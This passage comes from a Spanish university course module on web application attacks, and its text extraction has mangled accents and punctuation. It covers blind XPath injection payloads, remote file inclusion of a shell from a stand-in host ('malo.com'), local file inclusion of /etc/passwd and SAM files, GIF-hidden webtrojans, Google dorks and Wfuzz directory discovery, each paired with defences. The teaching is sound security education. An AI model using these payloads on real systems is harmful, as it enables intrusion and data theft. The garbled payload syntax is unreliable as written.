lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
